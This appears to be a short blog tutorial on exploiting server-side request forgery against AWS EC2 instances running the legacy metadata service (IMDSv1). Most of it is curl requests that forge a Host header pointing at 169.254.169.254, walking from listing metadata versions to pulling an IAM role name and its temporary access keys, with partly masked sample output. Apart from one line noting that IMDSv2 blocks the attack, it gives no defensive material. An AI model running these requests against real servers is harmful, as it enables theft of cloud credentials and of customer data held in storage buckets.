AWS and SSRF Attack using Instance metadata
Here is a brief overview of how SSRF attack can be possible with a legacy version of Instance Meta Data Service (IMDSv1)
Note: With IMDSv2 this won’t be possible.
SSRF
Server Side Request Forgery (SSRF) is an attack where a target application or API is tricked into sending a request to another backend service, either over the internet or across the network the server is hosted on, to retrieve information from that service and relay it back to the attacker.
SSRF was used to retrieve AWS (Amazon Web Services) credentials that were then used to steal the personal information of over 100 million Capital One customers.
Short story
The AWS Metadata service is a web service only EC2 instances (virtual machines running on EC2) have access to, and when an instance makes a request to that service, it provides metadata information about that instance.
An attacker can exploit the vulnerable application (or a web server) by querying the metadata service which returns IAM (Identity and Access Management) role assigned to the application running on the server (or WAF), back to the attacker.
The role assigned to the instance (Instance Profile of EC2) must have some permissive policies attached to it. For e.g. Accessing the AWS S3 buckets.
The attacker can easily get temporary credentials and download the S3 data.
Let’s dig in
Host Header
The “Host:” header is a normal way an HTTP client tells the HTTP server which server it speaks to. By passing a custom modified “Host:” header you can have the server respond with the content of the site, even if you didn’t actually connect to the hostname.
Below I’m asking the server to go to 169.254.169.254
— This is a special address given by AWS to return Instance metadata. It is data about your instance that you can use to configure or manage the running instance.
Request
curl -v -H "Host: 169.254.169.254" <Server Ip Address>
Response
This gets the available versions of the instance metadata.
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
2019-10-01
2020-10-27
2021-01-03
2021-03-23
Now is the time to get the security credentials
Request
An application running on the instance retrieves the security credentials provided by the role from the instance metadata item iam/security-credentials/
role-name.
The application is granted the permissions for the actions and resources that you've defined for the role through the security credentials associated with the role. These security credentials are temporary and AWS rotates them automatically. This is how you can retrieve it
Request
curl -v -H "Host: 169.254.169.254" <Server IP>/2018-08-17/meta-data/iam/security-credentials
Response
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sat, 31 Jul 2021 08:24:38 GMT
< Content-Type: text/plain
< Content-Length: 23
< Connection: keep-alive
< Accept-Ranges: bytes
< Last-Modified: Sat, 31 Jul 2021 08:08:27 GMT
<
* Connection #0 to host 14.202.15.107 left intact
<Role name should appear here>* Closing connection 0
Once you have role, you can also retrieve the temporary credentials
Request
curl -v -H "Host: 169.254.169.254" <ServerIP>/2018-08-17/meta-data/iam/security-credentials/<RoleName>
Response
{
"Code" : "Success",
"LastUpdated" : "2021-07-31T08:08:27Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAWM53PZ*****",
"SecretAccessKey" : "PgRETGGSWdBR8OP+tR*******uHne2ie0b",
"Token" : "IQoJb3JpZ2luX2VjELH//////////*******==",
"Expiration" : "2021-07-31T14:29:23Z"
}
If you liked this article, please follow me on Twitter to get more updates.